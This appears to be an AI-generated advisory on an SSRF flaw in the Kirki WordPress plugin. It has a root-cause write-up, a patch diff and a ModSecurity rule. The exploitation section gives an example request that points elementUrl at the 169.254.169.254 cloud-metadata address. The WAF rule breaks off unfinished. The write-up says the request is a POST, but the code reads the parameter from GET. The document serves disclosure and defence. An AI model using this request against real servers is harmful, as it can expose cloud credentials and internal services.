Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 5, 2026

CVE-2026-57627: Kirki – Freeform Page Builder, Website Builder & Customizer <= 6.0.11 Authenticated (Subscriber+) Server-Side Request Forgery PoC, Patch Analysis & Rule

Plugin kirki
Severity Medium (CVSS 6.4)
CWE 918
Vulnerable Version 6.0.11
Patched Version 6.0.12
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57627:

This vulnerability is a Server-Side Request Forgery (SSRF) in the Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress, affecting all versions up to and including 6.0.11. The vulnerability allows authenticated attackers with Subscriber-level access and above to make arbitrary HTTP requests from the web application server, potentially accessing or modifying internal services.

Root Cause: The vulnerable code resides in kirki/includes/Ajax/Symbol.php within the get_pre_built_html_using_url() method. In the vulnerable version, the function takes a URL from the GET parameter ‘elementUrl’, sanitizes it with sanitize_url(), and directly passes it to HelperFunctions::http_get() with sslverify set to false. Critically, there is no validation of the URL’s host or IP address. An attacker can supply any URL, including those pointing to internal network services (e.g., 169.254.169.254 for cloud metadata, 127.0.0.1, or internal RFC 1918 addresses). The function is reachable via the admin-ajax.php endpoint with the ‘action’ parameter set to ‘get-pre-built-html’.

Exploitation: An authenticated attacker with Subscriber-level privileges sends a POST request to /wp-admin/admin-ajax.php with action=get-pre-built-html and a crafted elementUrl parameter pointing to an internal service. For example, elementUrl=http://169.254.169.254/latest/meta-data/ would attempt to fetch cloud instance metadata. The request is processed by the server, and the response (including sensitive data) is reflected back in the AJAX response, allowing the attacker to read internal resources.

Patch Analysis: The patch in version 6.0.12 introduces multiple security checks in the get_pre_built_html_using_url() function. First, it uses wp_unslash() on the raw URL input. Then it parses the URL and extracts the host, comparing it against the site’s home URL host. Only requests to the same host are permitted. Additionally, the resolved IP address is checked against private and loopback ranges using a new is_private_or_loopback_ip() method, which rejects any IP that is not globally routable. The URL is then rebuilt using only the host, path, and query components, preventing URL manipulation. These changes ensure that server-side requests are limited to the site’s own domain and never to internal networks.

Impact: Successful exploitation allows an authenticated Subscriber to perform SSRF attacks. This can lead to accessing cloud metadata (e.g., AWS, GCP, Azure credentials), scanning internal network services, reading sensitive configuration files, or interacting with internal APIs that may modify data. The CVSS score of 6.4 reflects the moderate severity due to the requirement for authentication, but the potential for data exfiltration and lateral movement is significant.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kirki/ComponentLibrary/controller/CompLibFormHandler.php
+++ b/kirki/ComponentLibrary/controller/CompLibFormHandler.php
@@ -17,18 +17,18 @@
 	protected $namespace = KIRKI_COMPONENT_LIBRARY_APP_PREFIX . '/v1';

 	public function __construct() {
-		$this->init_rest_api_endpoint( 'kirki-login', WP_REST_Server::CREATABLE, array( $this, 'handle_login' ) );
-		$this->init_rest_api_endpoint( 'kirki-register', WP_REST_Server::CREATABLE, array( $this, 'handle_register' ) );
-		$this->init_rest_api_endpoint( 'kirki-forgot-password', WP_REST_Server::CREATABLE, array( $this, 'handle_forgot_password' ) );
-		$this->init_rest_api_endpoint( 'kirki-change-password', WP_REST_Server::CREATABLE, array( $this, 'handle_change_password' ) );
-		$this->init_rest_api_endpoint( 'kirki-retrieve-username', WP_REST_Server::CREATABLE, array( $this, 'handle_retrieve_username' ) );
-		$this->init_rest_api_endpoint( 'kirki-comment', WP_REST_Server::CREATABLE, array( $this, 'handle_post_comment' ) );
+		$this->init_rest_api_endpoint( 'kirki-login', WP_REST_Server::CREATABLE, array( $this, 'handle_login' ), array( $this, 'guest_permissions_check' ) );
+		$this->init_rest_api_endpoint( 'kirki-register', WP_REST_Server::CREATABLE, array( $this, 'handle_register' ), array( $this, 'guest_permissions_check' ) );
+		$this->init_rest_api_endpoint( 'kirki-forgot-password', WP_REST_Server::CREATABLE, array( $this, 'handle_forgot_password' ), array( $this, 'guest_permissions_check' ) );
+		$this->init_rest_api_endpoint( 'kirki-change-password', WP_REST_Server::CREATABLE, array( $this, 'handle_change_password' ), array( $this, 'guest_permissions_check' ) );
+		$this->init_rest_api_endpoint( 'kirki-retrieve-username', WP_REST_Server::CREATABLE, array( $this, 'handle_retrieve_username' ), array( $this, 'guest_permissions_check' ) );
+		$this->init_rest_api_endpoint( 'kirki-comment', WP_REST_Server::CREATABLE, array( $this, 'handle_post_comment' ), array( $this, 'comment_permissions_check' ) );
 	}

-	public function init_rest_api_endpoint( $endpoint, $methods, $callback ) {
+	public function init_rest_api_endpoint( $endpoint, $methods, $callback, $permission_callback = null ) {
 		add_action(
 			'rest_api_init',
-			function () use ( $endpoint, $methods, $callback ) {
+			function () use ( $endpoint, $methods, $callback, $permission_callback ) {
 				register_rest_route(
 					$this->namespace,
 					'/' . $endpoint,
@@ -36,7 +36,7 @@
 						array(
 							'methods'             => $methods,
 							'callback'            => $callback,
-							'permission_callback' => array( $this, 'get_item_permissions_check' ),
+							'permission_callback' => $permission_callback ? $permission_callback : array( $this, 'get_item_permissions_check' ),
 							'args'                => $this->get_endpoint_args_for_item_schema( $methods ),
 						),
 						'schema' => array( $this, 'get_item_schema' ),
@@ -50,6 +50,21 @@
 		return true;
 	}

+	public function guest_permissions_check( $request ) {
+		return true;
+	}
+
+	public function comment_permissions_check( $request ) {
+		if ( ! is_user_logged_in() && get_option( 'default_comment_status' ) !== 'open' ) {
+        return new WP_Error(
+            'rest_forbidden',
+            __( 'You must be logged in to post comments.' ),
+            array( 'status' => 401 )
+        );
+    }
+    return true;
+	}
+
 	private function wp_unique_username( $username, $suffix = 1 ) {
 		$original_username = $username;
 		while ( username_exists( $username ) ) {
@@ -58,29 +73,146 @@
 		return $username;
 	}

+	private function validate_meta_field( $field_name ) {
+		$allowed_meta_fields = apply_filters( 'kirki_allowed_registration_meta_fields', array(
+			'first_name',
+			'last_name',
+			'phone',
+			'company',
+			'address',
+			'city',
+			'state',
+			'country',
+			'zip',
+		) );
+
+		if ( ! in_array( $field_name, $allowed_meta_fields, true ) ) {
+			return false;
+		}
+
+		if ( preg_match( '/[^a-z0-9_-]/i', $field_name ) ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Verify that the submitted emailSubject + emailBody were signed by the server
+	 * at page-render time and have not been tampered with.
+	 *
+	 * IMPORTANT: $body_raw must be the raw JSON string as received from the request —
+	 * never a re-encoded array. Re-encoding can produce different output than the
+	 * original wp_json_encode() call, breaking the HMAC comparison.
+	 *
+	 * @param string $subject   The email subject string.
+	 * @param string $body_raw  The raw emailBody JSON string from the request.
+	 * @param string $signature The HMAC signature to verify against.
+	 * @return bool
+	*/
+	private function verify_email_template_signature( $subject, $body_raw, $signature ) {
+		if ( empty( $signature ) ) {
+				return false;
+		}
+
+		// Use the raw string directly — same as what was signed in ElementGenerator.
+		// Do NOT json_decode then re-encode here.
+		$payload  = $subject . '|' . $body_raw;
+		$secret   = AUTH_KEY . AUTH_SALT;
+		$expected = hash_hmac( 'sha256', $payload, $secret );
+
+		return hash_equals( $expected, $signature );
+	}
+
+	/**
+	 * Build the email body from a verified emailBody definition.
+	 * Chip values are resolved from a fixed server-controlled map.
+	 *
+	 * @param array $email_body_array
+	 * @param array $chip_data
+	 * @return string
+	 */
+	private function build_email_body( array $email_body_array, array $chip_data ) {
+		$email_body = '';
+		foreach ( $email_body_array as $body_data ) {
+				if ( ! isset( $body_data['type'], $body_data['value'] ) ) {
+						continue;
+				}
+				if ( $body_data['type'] === 'text' ) {
+						$email_body .= $body_data['value'];
+				} elseif ( $body_data['type'] === 'chip' && isset( $chip_data[ $body_data['value'] ] ) ) {
+						$email_body .= $chip_data[ $body_data['value'] ];
+				}
+		}
+		return $email_body;
+	}
+
 	public function handle_post_comment( $request ) {
-		$form_data     = $request->get_body_params();
-		$transiet_name = $this->validate_nonce( 'kirki-comment' );
+    $form_data     = $request->get_body_params();
+    $transient_name = $this->validate_nonce( 'kirki-comment' );  // note: typo fix from $transiet_name
+
+    $comment        = isset( $form_data['comment'] ) ? sanitize_text_field( $form_data['comment'] ) : '';
+    $post_id        = isset( $form_data['post_id'] ) ? absint( $form_data['post_id'] ) : 0;
+    $comment_parent = isset( $form_data['comment_parent'] ) ? absint( $form_data['comment_parent'] ) : 0;
+    $user_id        = get_current_user_id();
+    $user           = $user_id ? get_user_by( 'ID', $user_id ) : null;

-		$name           = isset( $form_data['name'] ) ? sanitize_text_field( $form_data['name'] ) : '';
-		$email          = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
-		$comment        = isset( $form_data['comment'] ) ? sanitize_text_field( $form_data['comment'] ) : '';
-		$post_id        = isset( $form_data['post_id'] ) ? sanitize_text_field( $form_data['post_id'] ) : 0;
-		$comment_parent = isset( $form_data['comment_parent'] ) ? sanitize_text_field( $form_data['comment_parent'] ) : 0;
-	  $date    = gmdate( 'Y-m-d H:i:s' );
-		$user_id        = get_current_user_id();
-		$user           = get_user_by( 'ID', $user_id );
-		if ( $user ) {
+    // Resolve author identity.
+    if ( $user ) {
 			$name  = $user->get( 'display_name' );
 			$email = $user->get( 'user_email' );
-		}
+    } else {
+			// Anonymous commenter: require name + valid email supplied in the form.
+			$name  = isset( $form_data['name'] )  ? sanitize_text_field( $form_data['name'] )  : '';
+			$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] )       : '';
+
+			if ( empty( $name ) || empty( $email ) || ! is_email( $email ) ) {
+				return new WP_REST_Response(
+					array( 'message' => 'Name and a valid email address are required.' ),
+					400
+				);
+			}
+    }
+
+    $existing_comment_id = isset( $form_data['comment_id'] ) ? absint( $form_data['comment_id'] ) : 0;
+    $is_edit             = $existing_comment_id !== 0;
+    $collection_type     = isset( $form_data['collection_type'] ) ? sanitize_text_field( $form_data['collection_type'] ) : '';
+
+    // -----------------------------------------------------------------------
+    // EDIT PATH
+    // -----------------------------------------------------------------------
+    if ( $is_edit ) {
+			// FIX 1: Editing always requires an authenticated session.
+			if ( ! is_user_logged_in() ) {
+				return new WP_REST_Response(
+						array( 'message' => 'You must be logged in to edit a comment.' ),
+						401
+				);
+			}
+
+			$existing_comment = get_comment( $existing_comment_id );
+
+			if ( ! $existing_comment ) {
+				return new WP_REST_Response(
+						array( 'message' => 'Comment not found.' ),
+						404
+				);
+			}

-		$existing_comment_id = isset( $form_data['comment_id'] ) ? sanitize_text_field( $form_data['comment_id'] ) : 0;
-		$is_edit             = 0 == $existing_comment_id ? false : true;
-		$collection_type     = isset( $form_data['collection_type'] ) ? sanitize_text_field( $form_data['collection_type'] ) : '';
+			// FIX 1 (cont.): strict ownership — user_id 0 must never match.
+			$is_owner    = ( $user_id !== 0 && (int) $existing_comment->user_id === $user_id );
+			$is_moderator = current_user_can( 'moderate_comments' );
+
+			if ( ! $is_owner && ! $is_moderator ) {
+				return new WP_REST_Response(
+					array( 'message' => 'You are not authorized to edit this comment.' ),
+					403
+				);
+			}

-		global $wpdb;
-		if ( $is_edit ) {
+			$date = gmdate( 'Y-m-d H:i:s' );
+
+			global $wpdb;
 			$wpdb->update(
 				$wpdb->comments,
 				array(
@@ -90,6 +222,7 @@
 				),
 				array( 'comment_ID' => $existing_comment_id )
 			);
+
 			apply_filters(
 				'kirki_comment_added-' . $collection_type,
 				array(
@@ -98,44 +231,60 @@
 					'form_data'  => $form_data,
 				)
 			);
-		} else {
-			$comment_data = array(
-				'comment_post_ID'      => $post_id,
-				'user_id'              => $user_id,
-				'comment_author'       => $name,
-				'comment_author_email' => $email,
-				'comment_content'      => $comment,
-				'comment_parent'       => $comment_parent,
-				'comment_approved'     => 1,
-				'comment_date'         => $date,
-				'comment_date_gmt'     => get_gmt_from_date( $date ),
-			);
-			$comment_data = apply_filters( 'kirki_comment-' . $collection_type, $comment_data );
-			$wpdb->insert( $wpdb->comments, $comment_data );
-			$comment_id = (int) $wpdb->insert_id;
-			apply_filters(
-				'kirki_comment_added-' . $collection_type,
-				array(
+
+			delete_transient( $transient_name );
+			return new WP_REST_Response( array( 'message' => 'Comment updated.' ), 200 );
+    }
+
+    // -----------------------------------------------------------------------
+    // INSERT PATH
+    // -----------------------------------------------------------------------
+
+    // FIX 2: Build the comment array without hardcoding comment_approved=1,
+    // then route through wp_new_comment() so WordPress moderation, spam
+    // filters (Akismet, etc.), and flood checks all apply normally.
+    $comment_data = array(
+			'comment_post_ID'      => $post_id,
+			'user_id'              => $user_id,
+			'comment_author'       => $name,
+			'comment_author_email' => $email,
+			'comment_author_IP'    => isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '',
+			'comment_agent'        => isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : '',
+			'comment_content'      => $comment,
+			'comment_parent'       => $comment_parent,
+    );
+
+    $comment_data = apply_filters( 'kirki_comment-' . $collection_type, $comment_data );
+
+    // wp_new_comment() runs duplicate/flood/spam checks, fires hooks, and
+    // respects the site's moderation settings.
+    $comment_id = wp_new_comment( $comment_data, true );  // true = return WP_Error on failure
+
+    if ( is_wp_error( $comment_id ) ) {
+			return new WP_REST_Response(
+					array( 'message' => $comment_id->get_error_message() ),
+					400
+			);
+    }
+
+    if ( ! $comment_id ) {
+			return new WP_REST_Response(
+					array( 'message' => 'Failed to add comment.' ),
+					400
+			);
+    }
+
+    apply_filters(
+			'kirki_comment_added-' . $collection_type,
+			array(
 					'comment_ID' => $comment_id,
 					'user_id'    => $user_id,
 					'form_data'  => $form_data,
-				)
-			);
-		}
+			)
+    );

-		// Check if the comment was added successfully.
-		if ( $comment_id ) {
-			$response = array(
-				'message' => 'Comment Added',
-			);
-			delete_transient( $transiet_name );
-			return new WP_REST_Response( $response, 200 );
-		} else {
-			$response = array(
-				'message' => 'Invalid form data',
-			);
-			return new WP_REST_Response( $response, 400 );
-		}
+    delete_transient( $transient_name );
+    return new WP_REST_Response( array( 'message' => 'Comment added.' ), 200 );
 	}


@@ -154,9 +303,9 @@
 				$username = $user->get( 'user_login' );
 			} else {
 				$response = array(
-					'message' => 'User not found',
+					'message' => 'Invalid username or password',
 				);
-				return new WP_REST_Response( $response, 404 );
+				return new WP_REST_Response( $response, 401 );
 			}
 		}

@@ -174,9 +323,9 @@

 			if ( is_wp_error( $user ) ) {
 				$response = array(
-					'message' => $user->errors[ array_key_first( $user->errors ) ],
+					'message' => 'Invalid username or password',
 				);
-				return new WP_REST_Response( $response, 500 );
+				return new WP_REST_Response( $response, 401 );
 			}
 			$response = array(
 				'message' => 'User logged in',
@@ -227,7 +376,9 @@

 		foreach ( $form_data as $name => $value ) {
 			if ( $name !== 'username' && $name !== 'email' && $name !== 'password' && $name !== 'confirm_password' ) {
-				$user_data['meta_input'][ KIRKI_COMPONENT_LIBRARY_APP_PREFIX . '_' . $name ] = $value;
+				if ( $this->validate_meta_field( $name ) ) {
+					$user_data['meta_input'][ KIRKI_COMPONENT_LIBRARY_APP_PREFIX . '_' . $name ] = sanitize_text_field( $value );
+				}
 			}
 		}

@@ -270,7 +421,7 @@
 			$user = get_user_by( 'email', $email );

 			if ( ! $user ) {
-				return new WP_REST_Response( array( 'message' => 'User not found' ), 404 );
+				return new WP_REST_Response( array( 'message' => 'If an account exists with this email, you will receive a password reset link.' ), 200 );
 			}

 			$username = $user->get( 'user_login' );
@@ -285,17 +436,17 @@

 			if ( ! $user ) {
 				$response = array(
-					'message' => 'User not found',
+					'message' => 'If an account exists with this information, you will receive a password reset link.',
 				);
-				return new WP_REST_Response( $response, 404 );
+				return new WP_REST_Response( $response, 200 );
 			}

 			$user_email = $user->get( 'user_email' );
 			if($email !== $user_email) {
 				$response = array(
-					'message' => 'Invalid email address',
+					'message' => 'If an account exists with this information, you will receive a password reset link.',
 				);
-				return new WP_REST_Response( $response, 404 );
+				return new WP_REST_Response( $response, 200 );
 			}
 			$email = $user_email;

@@ -319,27 +470,29 @@
 				'reset_link'  => "$url?action=rp&key=$key&login=" . rawurlencode( $username ),
 			);

-			$email_subject = isset( $form_data['emailSubject'] ) ? sanitize_text_field( $form_data['emailSubject'] ) : '';
-			$email_body    = '';
+			$email_subject   = isset( $form_data['emailSubject'] ) ? $form_data['emailSubject'] : '';
+			$email_body_raw  = isset( $form_data['emailBody'] ) ? $form_data['emailBody'] : '[]';
+			$email_signature = isset( $form_data['emailSignature'] ) ? $form_data['emailSignature'] : '';

-			if ( isset( $form_data['emailBody'] ) ) {
-				$email_body_array = json_decode( $form_data['emailBody'], true );
-				foreach ( $email_body_array as $key => $body_data ) {
-					if ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'text' ) {
-						$email_body .= $body_data['value'];
-					} elseif ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'chip' ) {
-						$email_body .= $chip_data[ $body_data['value'] ];
-					}
-				}
+			if ( ! $this->verify_email_template_signature( $email_subject, $email_body_raw, $email_signature ) ) {
+				wp_send_json_error( array( 'message' => 'Invalid request' ), 400 );
+				exit;
 			}

+			$email_body_array = json_decode( $email_body_raw, true );
+			if ( ! is_array( $email_body_array ) ) {
+				$email_body_array = array();
+			}
+
+			$email_body = $this->build_email_body( $email_body_array, $chip_data );
+
 			$email_body = nl2br( $email_body );

 			$headers = array( 'Content-Type: text/html; charset=UTF-8' );

 			// Send custom email.
 			apply_filters( 'kirki_element_smtp', '' );
-			$sent = wp_mail( $email, $email_subject, $email_body, $headers );
+			$sent = wp_mail( $email, sanitize_text_field( $email_subject ), $email_body, $headers );

 			if ( $sent ) {
 				$response = array(
@@ -407,7 +560,7 @@
 		$user = get_user_by( 'email', $email );

 		if ( ! $user ) {
-			wp_send_json_error( array( 'message' => 'No user found with that email address.' ), 404 );
+			wp_send_json_success( array( 'message' => 'If an account exists with this email, you will receive your username.' ) );
 			exit;
 		}

@@ -419,26 +572,28 @@
 			'sitename'    => get_bloginfo( 'name' ),
 		);

-		$email_subject = isset( $form_data['emailSubject'] ) ? sanitize_text_field( $form_data['emailSubject'] ) : '';
-		$email_body    = '';
+		$email_subject   = isset( $form_data['emailSubject'] ) ? $form_data['emailSubject'] : '';
+		$email_body_raw  = isset( $form_data['emailBody'] ) ? $form_data['emailBody'] : '[]';
+		$email_signature = isset( $form_data['emailSignature'] ) ? $form_data['emailSignature'] : '';

-		if ( isset( $form_data['emailBody'] ) ) {
-			$email_body = json_decode( $form_data['emailBody'], true );
-			foreach ( $email_body as $key => $body_data ) {
-				if ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'text' ) {
-					$email_body = $email_body . $body_data['value'];
-				} elseif ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'chip' ) {
-					$email_body = $email_body . $chip_data[ $body_data['value'] ];
-				}
-			}
+		if ( ! $this->verify_email_template_signature( $email_subject, $email_body_raw, $email_signature ) ) {
+			wp_send_json_error( array( 'message' => 'Invalid request' ), 400 );
+			exit;
+		}
+
+		$email_body_array = json_decode( $email_body_raw, true );
+		if ( ! is_array( $email_body_array ) ) {
+			$email_body_array = array();
 		}

+		$email_body = $this->build_email_body( $email_body_array, $chip_data );
+
 		$email_body = nl2br( $email_body );

 		$headers = array( 'Content-Type: text/html; charset=UTF-8' );

 		apply_filters( 'kirki_element_smtp', '' );
-		$email_sent = wp_mail( $email, $email_subject, $email_body, $headers );
+		$email_sent = wp_mail( $email, sanitize_text_field( $email_subject ), $email_body, $headers );

 		if ( ! $email_sent ) {
 			wp_send_json_error( array( 'message' => 'Failed to send email. Please try again later.' ), 500 );
@@ -450,6 +605,13 @@
 		exit;
 	}

+	/**
+	 * Validate the nonce from the request header and return true on success.
+	 * Exits with an error response on failure.
+	 *
+	 * @param string $element_name
+	 * @return true
+	 */
 	public function validate_nonce( $element_name ) {
 		$nonce = isset( $_SERVER['HTTP_X_WP_ELEMENT_NONCE'] )
 		? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_ELEMENT_NONCE'] ) )
--- a/kirki/ComponentLibrary/controller/ElementGenerator.php
+++ b/kirki/ComponentLibrary/controller/ElementGenerator.php
@@ -40,22 +40,57 @@


 	private function add_element_config() {
-		$id = $this->element['id'];
-		if (
-		$this->element['name'] === 'kirki-login' || $this->element['name'] === 'kirki-register' ||
-		$this->element['name'] === 'kirki-forgot-password' || $this->element['name'] === 'kirki-change-password' ||
-		$this->element['name'] === 'kirki-retrieve-username' || $this->element['name'] === 'kirki-comment'
-		) {
-			$nonce                            = $this->add_nonce_to_element( $this->element );
-			$this->component_lib_forms[ $id ] = array_merge(
-				$this->properties['attributes'],
-				$this->setting,
-				array(
-					'name'  => $this->element['name'],
-					'nonce' => $nonce,
-				)
-			);
-		}
+    $id = $this->element['id'];
+    if (
+        $this->element['name'] === 'kirki-login' || $this->element['name'] === 'kirki-register' ||
+        $this->element['name'] === 'kirki-forgot-password' || $this->element['name'] === 'kirki-change-password' ||
+        $this->element['name'] === 'kirki-retrieve-username' || $this->element['name'] === 'kirki-comment'
+    ) {
+        $nonce  = $this->add_nonce_to_element( $this->element );
+        $config = array_merge(
+					$this->properties['attributes'],
+					$this->setting,
+					array(
+						'name'  => $this->element['name'],
+						'nonce' => $nonce,
+					)
+        );
+
+        // SECURITY FIX: Sign the email template so the REST handler can verify
+        // it was not tampered with — without any extra DB queries.
+        // Always generate a signature for these element types, even when
+        // settings are empty, so the client always has a value to send.
+        if ( in_array( $this->element['name'], array( 'kirki-forgot-password', 'kirki-retrieve-username' ), true ) ) {
+					if ( ! isset( $config['emailSubject'] ) ) {
+							$config['emailSubject'] = '';
+					}
+					if ( ! isset( $config['emailBody'] ) ) {
+							$config['emailBody'] = array();
+					}
+					$config['emailSignature'] = $this->sign_email_template(
+							$config['emailSubject'],
+							$config['emailBody']
+					);
+        }
+
+        $this->component_lib_forms[ $id ] = $config;
+    }
+	}
+
+	/**
+	 * Produce an HMAC signature over the admin-configured email template.
+	 * Uses WordPress AUTH_KEY + AUTH_SALT so it is server-secret and
+	 * never reproducible by an external attacker.
+	 *
+	 * @param string       $subject
+	 * @param array|string $body
+	 * @return string  Hex HMAC-SHA256 signature.
+	 */
+	private function sign_email_template( $subject, $body ) {
+    $body_string = is_array( $body ) ? wp_json_encode( $body, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ) : (string) $body;
+    $payload     = $subject . '|' . $body_string;
+    $secret      = AUTH_KEY . AUTH_SALT;
+    return hash_hmac( 'sha256', $payload, $secret );
 	}

 	public function generate_common_element( $hide = false, $children_html = false ) {
--- a/kirki/includes/Ajax.php
+++ b/kirki/includes/Ajax.php
@@ -337,6 +337,9 @@
 		}

 		if ( $endpoint === 'get-wp-single-post' ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			$post_id = (int) HelperFunctions::sanitize_text( isset( $_GET['post_id'] ) ? $_GET['post_id'] : null );
 			$post    = get_post( $post_id );

@@ -424,15 +427,18 @@
 			Symbol::fetch_list( false, true );
 		}

-        if ($endpoint === 'get-page-custom-section') {
-            $type = HelperFunctions::sanitize_text(isset($_GET['type']) ? $_GET['type'] : '');
-            wp_send_json(HelperFunctions::get_page_custom_section($type, true));
-        }
+		if ($endpoint === 'get-page-custom-section') {
+			$type = HelperFunctions::sanitize_text(isset($_GET['type']) ? $_GET['type'] : '');
+			wp_send_json(HelperFunctions::get_page_custom_section($type, true));
+		}

 		/**
 		 * GET Single prebuilt html API
 		 */
 		if ( $endpoint === 'get-pre-built-html' ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			Symbol::get_pre_built_html_using_url();
 		}

@@ -549,6 +555,9 @@
 		 * AUTHOR LIST
 		 */
 		if ( 'get-authors' === $endpoint ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			WordpressData::get_author_list();
 		}

@@ -557,6 +566,9 @@
 		 */

 		if ( 'get-roles' === $endpoint ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			WordpressData::get_role_list();
 		}

@@ -566,6 +578,9 @@
 		if (
 			'get-users' === $endpoint
 		) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			WordpressData::get_user_list();
 		}

@@ -584,6 +599,9 @@
 		}

 		if ( $endpoint === 'get-common-data' ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			WpAdmin::get_common_data();
 		}

@@ -755,6 +773,9 @@
 		// From manipulation from admin dashboard.

 		if ( $endpoint === 'get-editor-read-only-access-data' ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			Page::get_editor_read_only_access_data();
 		}
 	}
--- a/kirki/includes/Ajax/Symbol.php
+++ b/kirki/includes/Ajax/Symbol.php
@@ -349,12 +349,43 @@
 	}

 	public static function get_pre_built_html_using_url() {
-		$url     = isset( $_GET['elementUrl'] ) ? $_GET['elementUrl'] : null;
-		$new_url = sanitize_url( $url );
+		 $raw_url = isset( $_GET['elementUrl'] ) ? wp_unslash( $_GET['elementUrl'] ) : '';

-		$data = HelperFunctions::http_get( $new_url, array( 'sslverify' => false ) );
+    if ( empty( $raw_url ) ) {
+        wp_send_json_error( 'Missing elementUrl', 400 );
+    }
+		$allowed_host = wp_parse_url( home_url(), PHP_URL_HOST );
+    $requested    = wp_parse_url( $raw_url );
+
+    if (
+			! $requested ||
+			empty( $requested['host'] ) ||
+			strtolower( $requested['host'] ) !== strtolower( $allowed_host )
+    ) {
+        wp_send_json_error( 'URL not permitted', 403 );
+    }
+
+		$resolved_ip = gethostbyname( $requested['host'] );
+
+		if ( self::is_private_or_loopback_ip( $resolved_ip ) ) {
+      wp_send_json_error( 'URL not permitted', 403 );
+    }
+
+		$safe_url = self::rebuild_url( $requested );
+
+		$response = HelperFunctions::http_get( $safe_url, array(
+			'timeout'   => 30,
+			'sslverify' => false,
+			'redirection' => 0,
+    ));
+
+		if ( is_wp_error( $response ) ) {
+      wp_send_json_error( 'Request failed', 502 );
+    }
+
+		$body = wp_remote_retrieve_body( $response );
+    $data = json_decode( $body, true );

-		$data = json_decode( $data, true );

 		$params = array(
 			'blocks'                 => $data['blocks'],
@@ -371,4 +402,34 @@

 		wp_send_json_success( $html );
 	}
+
+	/**
+ 	* Returns true for any IP that should never be reached from a server-side fetch.
+ 	* Covers loopback, RFC 1918, link-local (APIPA / cloud metadata), and IPv6 equivalents.
+ 	*/
+	private static function is_private_or_loopback_ip( string $ip ): bool {
+		if ( ! filter_var( $ip, FILTER_VALIDATE_IP ) ) {
+			return true;
+		}
+
+		return ! filter_var(
+			$ip,
+			FILTER_VALIDATE_IP,
+			FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
+		);
+	}
+
+
+	/**
+	 * Reconstructs a URL from wp_parse_url parts so the raw user string
+	 * is never passed directly to the HTTP client.
+	 */
+	private static function rebuild_url( array $parts ): string {
+		$scheme = isset( $parts['scheme'] ) && strtolower( $parts['scheme'] ) === 'https' ? 'https' : 'https';
+		$host   = $parts['host'];
+		$path   = isset( $parts['path'] ) ? $parts['path'] : '/';
+		$query  = isset( $parts['query'] ) ? '?' . $parts['query'] : '';
+
+		return "{$scheme}://{$host}{$path}{$query}";
+	}
 }
--- a/kirki/includes/Frontend/Preview/Preview.php
+++ b/kirki/includes/Frontend/Preview/Preview.php
@@ -1936,7 +1936,9 @@
 				$content_count = count( $content );
 				for ( $i = 0; $i < $content_count; $i++ ) {
 					if ( is_array( $content[ $i ] ) ) {
-						$html .= $this->recGenHTML( $content[ $i ]['id'], $options );
+						if( isset($content[ $i ]['id']) ){
+							$html .= $this->recGenHTML( $content[ $i ]['id'], $options );
+						}
 					} else {
 						$html .= htmlspecialchars( $content[ $i ] );
 					}
--- a/kirki/kirki.php
+++ b/kirki/kirki.php
@@ -7,7 +7,7 @@
  * Plugin Name: Kirki
  * Plugin URI: https://kirki.com
  * Description: Kirki is an all-in-one no-code builder that empowers users to build professional-grade WordPress sites without writing any code. It’s a promising glimpse into the future of website development.
- * Version: 6.0.11
+ * Version: 6.0.12
  * Author: Kirki
  * Author URI: https://kirki.com
  * License: GPLv2 or later
@@ -26,7 +26,7 @@

 // Define KIRKI_VERSION early to prevent bundled Kirki versions from loading.
 if ( ! defined( 'KIRKI_VERSION' ) ) {
-	define( 'KIRKI_VERSION', '6.0.11' );
+	define( 'KIRKI_VERSION', '6.0.12' );
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-57627
# Blocks SSRF attempts via the get-pre-built-html AJAX action by
# matching internal/private IP patterns in the elementUrl parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57627 Kirki SSRF attempt via admin-ajax',severity:'CRITICAL',tag:'CVE-2026-57627'"
  SecRule ARGS_POST:action "@streq get-pre-built-html" "chain"
